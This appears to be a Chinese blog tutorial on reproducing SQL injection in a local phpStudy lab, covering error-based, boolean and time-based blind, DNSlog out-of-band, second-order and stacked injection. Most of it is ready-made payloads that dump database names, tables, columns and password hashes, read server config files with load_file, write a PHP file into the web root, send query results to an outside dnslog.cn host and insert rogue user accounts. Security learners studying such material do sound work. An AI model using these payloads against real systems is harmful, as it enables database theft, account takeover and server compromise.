网络安全之SQL注入漏洞复现(中篇)(技术进阶)

目录

一,报错注入

二,布尔盲注

三,sleep延时盲注

四,DNSlogs 盲注

五,二次注入

六,堆叠注入

 总结


一,报错注入

报错注入就是在错误信息中执行 sql 语句,利用网站的报错信息来带出我们想要的信息。

1,group by 重复键冲突

原理:是通过rand产生随机数据导致group by分组时的主键冲突。

【1】就是利用 count()、rand()、floor()、 group by 这几个特定的函数结合在一起产生的注入漏洞

count(*):计算总共有多少条数据

rand():产生大于等于0小于1的随机数

floor():向下取整函数例如floor(1.6),结果为1,取比1.6小的整数

group by:将查询结果分组

sql注入代码:

?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2)) a 
from information_schema.tables group by a)cname)

 代码解读:

1,(select version() from information_schema.tables limit 0,1)

从 information_schema这个特殊数据库中的tables中获取数据库版本信息,limit 0,1:只返回一行数据。

2,concat(0x5e,语句,0x5e)

concat 连接字符串,ox5e为16进制的^,所以连接的结果就是:^语句返回的结果^

3,floor(rand(0)*2)

 rand(0)产生大于等于0小于1的固定随机数,乘以2又floor向下取整之后得到的只有0或1,它出现的目的就是令group by的主键冲突。

那么如何冲突的呢?

冲突过程:

获得的值插入的值产生的临时表
0判断是0,表中没有所以插入1v1表:1
1
1判断是1(说明v1表中有这个键),所以不插入1+1=2
0判断是0,认为表中没有,插入1

与v1键冲突了

(因为插入了2个1)
1

4,select count(*), ... a from information_schema.tables group by a

其实这里的count(*)是统计information_schema.tables的行数,但是这里并没有用上只是用来保证格式正确,group by a是通过别名a的结果进行分组,也就是:concat(0x5e,(select version() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))它的结果。

5,select 1 from ...cname

最外边的这个用于返回一个1,同时返回内部语句报错带出的结果,cname是别名哈

【2】rand(14)好还是rand(0)好

当然是rand(14)好,来看看吧

group by 冲突

随机值插入值临时表
1判断为1 ,插入0v0
0
1判断为1,插入0有(v0)了又插入一个v0所以发生了冲突
0

综上所述:rand(14)比rand(0)少判断一次,所以它好哈哈

2,xpath 报错

原理:是通过extractvalue()函数使用错误的格式来产生报错并且带出需要的信息

sql注入代码

id=1 and extractvalue(1, concat(0x5c, (select version()),0x5c))

结果: 

代码解释:

【1】extractvalue()是mysql中用于从XML文档中提取数值的函数。

【2】基本格式:extractvalue(xml文档,查询数据的位置)

例如:

SELECT extractvalue('<root><name>狗蛋</name><age>19</age></root>', '//name')

 结果:

3,updatexml 报错

原理:通过用错误的updatexm()格式来使他报错并返回信息

sql注入代码:

id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)

 结果:

【1】updatexml 是 mysql中的一个 XML 函数,它用于修改 XML 文档中的值。

【2】updatexml(xml文档,要替换的数据,替换成的数据)

例如:

SELECT updatexml('<root><username>狗蛋</username><age>18</age></root>',
'//username','<name>狗哥</name>')

结果:

4,实战

【1】找注入点

【2】获取数据库名

sql注入代码:

'or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'

' or extractvalue(1, concat(0x5c, (select database() from information_schema.tables limit 0,1),0x5c)) or ' 

结果:

【3】获得数据库中的表

sql注入代码:

' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or ' 

结果:

 

【4】获取表中的字段名

sql注入代码:

' or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or ' 

结果:

 

【5】获取字段中的数据

sql注入代码:

' or updatexml(1,concat(0x5e,(select concat(name,':',password) from users limit 0,1),0x5e),1) or ’

结果:

 

值得注意的是:

21232f297a57a5a743894a0e4a801fc3//数据库中的数据

21232f297a57a5a743894a0e4//获得的数据

可以看到它少了一截,这是因为updatexml一次只截取32位超过的部分就不管了,所以我们可以使用下面的代码分2次去获取。

 sql注入代码1:

' or updatexml(1,concat(0x5e,(select
concat(name,':',substring(password,1,16)) from users limit
0,1),0x5e),1) or '

sql注入代码2:

 ' or updatexml(1,concat(0x5e,(select
concat(name,':',substring(password,17)) from users limit
0,1),0x5e),1) or '

 分别得到:
21232f297a57a5a7//第一次获得的数据
43894a0e4a801fc3//第二次

21232f297a57a5a743894a0e4a801fc3//拼接

 拼在一起去解码就好了。

二,布尔盲注

union和报错注入搞不定的情况下可以用这个,盲注(就是猜)

【1】判断是否存在布尔注入

sql注入代码:

and 1=1

and 1=2

结果:

假:

真:

 【2】获取数据库名字

sql注入代码:

and length(database())>0

and length(database())<5

and length(database())=4

 盲注就是一直去猜,猜对为止

 知道数据库长度后,就可以通过ascii码值判断数据库的名字是由哪些字符组成的。

ascii码表:

 sql注入代码:

and ascii(substr(database(),1,1))<ascii码值

就这样一直试一直排除直到条件正确为止

 

 四个字符都试出来后为jrlt

验证数据库名字是否正确:

and database()='jrlt'

 

【3】获取数据库中有几个表

sql注入代码:

and (select count(table_name) from information_schema.tables where table_schema = database())=1

 

(猜的过程就跳过了)结果:

 

【5】表名的长度

sql注入代码:

and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10

(猜的过程就跳过了)结果:

【4】获取表名

sql注入代码:

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<10

 

过程就跳过了,结果为,messages,users

substr(str, pos, len)

  • str 是要从中提取子字符串的原始字符串。
  • pos 是开始提取的位置(基于 1 的索引)。
  • len 是要提取的字符数。

例如:

select substr('Hello World', 1, 5);

 【5】获取表中的字段长度

sql注入代码:

and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<10

这里跳过过程,结果: 

长度分别是:2,4,8,5,5

【6】获取字段名字

sql注入代码:

and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<100

 过程跳过,结果:id,name,password,photo,money

 【7】获取内容的长度

sql注入代码:

and (select LENGTH(name) from users LIMIT 0,1)=5

 过程跳过了,结果:

 【8】获得字段内容

sql注入代码:

and ascii(substr((select name from users limit 0,1),1,1))=97

 猜的过程跳过(获取其他的字段也是如此操作),结果:admin

三,sleep延时盲注

延时注入就是通过判断sleep语句是否执行来推测if语句是否为真

这个方法效率超低,在union,报错,布尔注入都搞不定的情况下用这个

【1】测试是否有延时注入

sql注入代码:

and sleep(5)

【2】猜数据库名

1,sql注入代码:

and  if(length(database()<10),sleep(5),1)

and  if(length(database()=4),sleep(5),1)

2,这里直接跳过猜的过程了,看结果吧

【3】猜数据库名由那些字符组成

sql注入代码:

and if(ascii(substr(database(),1,1)=106),sleep(5),1)

 

过程就跳过了,结果是jrlt

【4】获取数据库中有多少个表

sql注入代码:

and if((select count(*) from information_schema.tables where table_schema='jrlt')=3,sleep(5),1)

【5】获取数据库中表的字符

sql注入代码:

 and if(ascii(substr((select table_name from information_schema.tables where table_schema='jrlt' limit 0,1),1,1)=109),sleep(5),1)

 

原理都一样这里就不做演示了:messages,users,user三个表 

【6】获取表users表中有多少个字段

sql注入代码:

and if((select count(*) from information_schema.columns where table_name='users' and table_schema='jrlt')=5,sleep(5),1)

这里过程跳过原理都一样

 

【7】猜测字段名长度

sql注入代码:

 and if((select length((select column_name from information_schema.columns where table_name='users' and table_schema='jrlt' limit 0,1)))=2,sleep(5),1) 

【8】猜测字段名字符

sql注入代码:

and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),0,1))=105,sleep(5),1)

 

 过程跳过结果id............

【9】猜id的内容

sql注入代码:

and if(ascii(substr((select id from users limit 0,1),1,1))=51,sleep(5),1)

得到是3

四,DNSlogs 盲注

它是利用DNS域名服务器上的域名信息进行sql盲注的,在数据库中DNSlogs可以使用load_file()函数来加载本地文件和url请求。但是前提是要有root权限并且secure_file_priv参数要为空

1,查看配置

show VARIABLES like 'secure_file_priv'

secure_file_priv参数配置含义
secure_file_priv=null不允许mysqld导入和导出
secure_file_priv=‘/temp/’只能在temp目录下进行导入导出
secure_file_priv=不限制导入和导出操作

2,修改配置

\phpStudy\PHPTutorial\MySQL\my.ini

3,获取数据库data所在目录

4,获取网站所在目录

熟悉phpstudy的应该知道网站目录放在vhosts.conf配置文件里面

使用load_file读取文件内容

sql注入代码:

?id=-1  union select 1,2,3,load_file('E:\\phpStudy\\PHPTutorial\\Apache\\conf\\vhosts.conf')

 5,得到目录后对其写入文件

sql注入代码:

union select 1,2,3,'<?php phpinfo();?>' into outfile
"E:\\phpStudy\\PHPTutorial\\WWW\\bbs\\test.php"
 

 

获取网站目录的方法:

1,通过一句话木马

2,通过配置文件

3,通过报错注入带出网站目录

实战

DNSLog Platform

1,获取数据库名

sql注入代码:

and load_file(concat('//',(select database()),'.us9ybc.dnslog.cn/123'))

2,获取表名

sql注入代码:

and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.us9ybc.dnslog.cn/123'))

 

 道理都一样自己去玩吧!

五,二次注入

二次注入就是在数据库中已有的用户被再次以特殊的方式添加,然后执行sql语句进行攻击的操作。

实战

1,碰撞用户

 2,用特殊的方法注册用户

 3,修改密码

看到这读者们想必也猜出来了

admin'#这里'的作用是闭合语句,#在数据库sql语句中是注释符号,对比一下

正常语句:

 update users set password=123456 where name='admin';

攻击者的语句:

update users set password=123123 where name='admin'#';

 哈哈,有意思吧!

六,堆叠注入

堆叠注入就是多条语句通过;号分隔一同执行的语句,从而达到攻击效果

例如:

 先获得对方数据库名

上篇讲过了,这里直接给代码了,忘记了就去看看我的sql注入上篇吧

?id=-2 union select 1,database(),2,3  //获取数据库名

?id=-2 union select 1,(select group_concat(table_name ) from information_schema.tables where table_schema='jrlt'),2,3 //获取数据库中的表名

?id=-2 union select 1,(select group_concat(column_name ) from information_schema.columns where table_schema='jrlt' and table_name='users'),2,3 //获取字段名

得到基本信息后进行添加操作 

?id=2; insert into users(name,password) values('dd',123456)

 

为啥会登录失败呢?

sql注入代码:

?id=2; insert into users(name,password) values('gd',md5(123456))

 

 

 总结

在我们手工注入时,我们应当根据实际情况判断用那种注入,以及要知道每一种注入方法的原理,

手工注入固然慢,但是这才是灵魂所在,使用sqlmap工具虽然高效但是没有灵魂嘞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/2705.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【奶奶看了都会】用 AI做猫咪剧情短片保姆级教程

大家这段时间在刷短视频的时候&#xff0c;是不是经常会刷到那种猫咪剧情短片&#xff0c;配合喵喵喵......的魔性背景音乐&#xff0c;让人看了非常上头。最近这类视频在抖音、视频号、小红书上非常火&#xff0c;今天就来教大家如何制作。 1.GPT4账号准备 我们用到的AI生图…

应用于智能装备制造,钡铼IOy系列模块展现其强大的灵活性和实用性

随着科技的飞速发展&#xff0c;智能制造已经成为工业4.0时代的核心驱动力。在此背景下&#xff0c;钡铼技术推出的IOy系列模块以其独特的设计、卓越的性能以及无可比拟的灵活性与实用性&#xff0c;在智能装备制造领域展现出了强大的技术优势和应用价值。 首先&#xff0c;钡…

HTTP与SOCKS-哪种协议更适合您的代理需求?

网络代理技术是我们日常使用网络时必不可少的一项技术&#xff0c;它可以为我们提供隐私保护和负载均衡的能力&#xff0c;从而保证我们的网络通信更加安全和顺畅。而其中最主流的两种协议就是HTTP和SOCKS。虽然它们都是用于网络代理的协议&#xff0c;但在实际应用中却存在着一…

儿童护眼落地灯哪个牌子好?值得买的五款大路灯分享

近年来&#xff0c;随着近视问题日益严重&#xff0c;消费者越来越倾向于选购能够优化照明环境、减轻眼部压力的护眼落地灯。然而&#xff0c;市场上的护眼落地灯品质良莠不齐&#xff0c;许多品牌为了追求低廉价格和扩大市场份额&#xff0c;不惜采取模仿甚至抄袭的方式&#…

MySQL主从结构搭建

说明&#xff1a;本文介绍如何搭建MySQL主从结构&#xff1b; 原理 主从复制原理如下&#xff1a; &#xff08;1&#xff09;master数据写入&#xff0c;更新binlog&#xff1b; &#xff08;2&#xff09;master创建一个dump线程向slave推送binlog&#xff1b; &#xff…

TIMEDAY·腾讯智慧出行技术开放日:发布汽车行业大模型、升级智能汽车云

4月24日&#xff0c;北京车展前夕&#xff0c;在“2024 TIME DAY腾讯智慧出行技术开放日”上&#xff0c;腾讯发布了汽车行业大模型“全域智能”方案&#xff0c;覆盖汽车研发、生产、营销、服务、企业协同等五大核心场景。与此同时&#xff0c;腾讯发布了在智能汽车云、智能座…

C++中的程序流程结构

一、选择结构 1.1 if语句 作用&#xff1a;执行满足条件的语句 if语句的三种形式 单行格式if语句多行格式if语句多条件的if语句 #include <iostream> using namespace std;int main(){//选择结构 单行if语句//用户输入分数&#xff0c;如果分数>600,视为考上一本大…

【SpringBoot实战篇】获取用户详细信息-ThreadLocal优化

1 分析问题 对token的解析当初在拦截器中已经写过。期待的是在拦截器里写了&#xff0c;在其他地方就不写了&#xff0c;应该去复用拦截器里面得到的结果 2 解决方式-ThreadLocal 2.1提供线程局部变量 用来存取数据: set()/get()使用ThreadLocal存储的数据, 线程安全 2.2过程图…

OneFlow新概念清单,AI深度学习的革命性突破(AI写作)

首先&#xff0c;这篇文章是基于笔尖AI写作进行文章创作的&#xff0c;喜欢的宝子&#xff0c;也可以去体验下&#xff0c;解放双手&#xff0c;上班直接摸鱼~ 按照惯例&#xff0c;先介绍下这款笔尖AI写作&#xff0c;宝子也可以直接下滑跳过看正文~ 笔尖Ai写作&#xff1a;…

路由过滤与引入

1、实验拓扑 2、实验要求 1、按照图示配置 IP 地址&#xff0c;R1&#xff0c;R3&#xff0c;R4 上使用 1oopback口模拟业务网段 2、运行 oSPF&#xff0c;各自协议内部互通 3、R1 和 R2 运行 RIPv2,R2&#xff0c;R3和R4在 RIP 和 oSPF 间配置双向路由引入,要求除 R4 上的业务…

mPEG-Cyanur,Methoxy PEG Cyanur具有良好的生物相容性

【试剂详情】 英文名称 mPEG-Cyan&#xff0c;mPEG-Cyanur&#xff0c;Methoxy PEG Cyanur&#xff0c;Methoxy PEG Cyan 中文名称 聚乙二醇单甲醚三聚氯氰&#xff0c;甲氧基-聚乙二醇-氰尿酸 外观性状 由分子量决定&#xff0c;固体或者粘稠液体。 分子量 0.4k&#x…

自己写的爬虫小案例

网址&#xff1a;aHR0cDovL2pzc2NqZ3B0Lmp4d3JkLmdvdi5jbi8/dXJsPS92aWV3L3dvcmtpbmdVbml0L3dvcmtpbmdVbml0Lmh0bWw 这串代码能够爬取勘察单位企业的详细信息。 import requests import time import csv f open(勘察单位公司信息.csv,w,encodingutf-8,newline) csv_writer …

从阿里云OSS迁移到AWS S3的步骤

随着企业数字化转型的加速,云计算成为企业IT基础设施不可或缺的部分。对象存储作为云计算的重要组成部分,为企业提供了可靠、安全、低成本的数据存储和管理解决方案。在选择对象存储服务时,企业需要根据自身需求和发展战略来进行全面评估。我们九河云&#xff0c;获得AWS官方认…

探索C++20高级编程:新特性、技巧与性能优化

&#x1f482; 个人网站:【 摸鱼游戏】【神级代码资源网站】【工具大全】&#x1f91f; 一站式轻松构建小程序、Web网站、移动应用&#xff1a;&#x1f449;注册地址&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交…

mPEG-Biotin,Methoxy PEG Biotin在免疫亲和层析、荧光标记和生物传感器等领域发挥关键作用

【试剂详情】 英文名称 mPEG-Biotin&#xff0c;Methoxy PEG Biotin 中文名称 聚乙二醇单甲醚生物素&#xff0c;甲氧基-聚乙二醇-生物素 外观性状 由分子量决定&#xff0c;固体或者粘稠液体。 分子量 0.4k&#xff0c;0.6k&#xff0c;1k&#xff0c;2k&#xff0c;3.…

什么因素可以影响到代理IP稳定性?爬虫代理IP有哪些作用?

一、什么因素可以影响到代理IP稳定性 代理IP的稳定性受到多种因素的影响&#xff0c;以下是一些主要的因素&#xff1a; 代理IP的质量&#xff1a;不同的代理IP提供商提供的代理IP质量参差不齐&#xff0c;一些低质量的代理IP可能经常出现连接问题或速度慢的情况&#xff0c;…

力扣HOT100 - 104. 二叉树的最大深度

解题思路&#xff1a; class Solution {public int maxDepth(TreeNode root) {if (root null) return 0;return Math.max(maxDepth(root.left), maxDepth(root.right)) 1;} }

利用OpenCV4.9制作自己的线性滤波器!

返回:OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 上一篇&#xff1a;OpenCV4.9使用 inRange 的阈值操作 下一篇 :OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 目标 在本教程中&#xff0c;您将学习如何&#xff1a; 使用 OpenCV 函数 f…

爬虫零基础学习,第一天,安装环境,requests库常用命令的讲解

Python爬虫 爬虫学习思路 URL内容获取&#xff0c;requests的基本常用语法 import requests # 先向目标网站发送请求 url "http://www.baidu.com" r requests.get(url) # 可以用看一下访问码返回值是不是200&#xff0c;若是200则表示访问成功 print(r.status_…

RustGUI学习(iced)之小部件(一):如何使用按钮和文本标签部件

前言 本专栏是学习Rust的GUI库iced的合集&#xff0c;将介绍iced涉及的各个小部件分别介绍&#xff0c;最后会汇总为一个总的程序。 iced是RustGUI中比较强大的一个&#xff0c;目前处于发展中&#xff08;即版本可能会改变&#xff09;&#xff0c;本专栏基于版本0.12.1. 概述…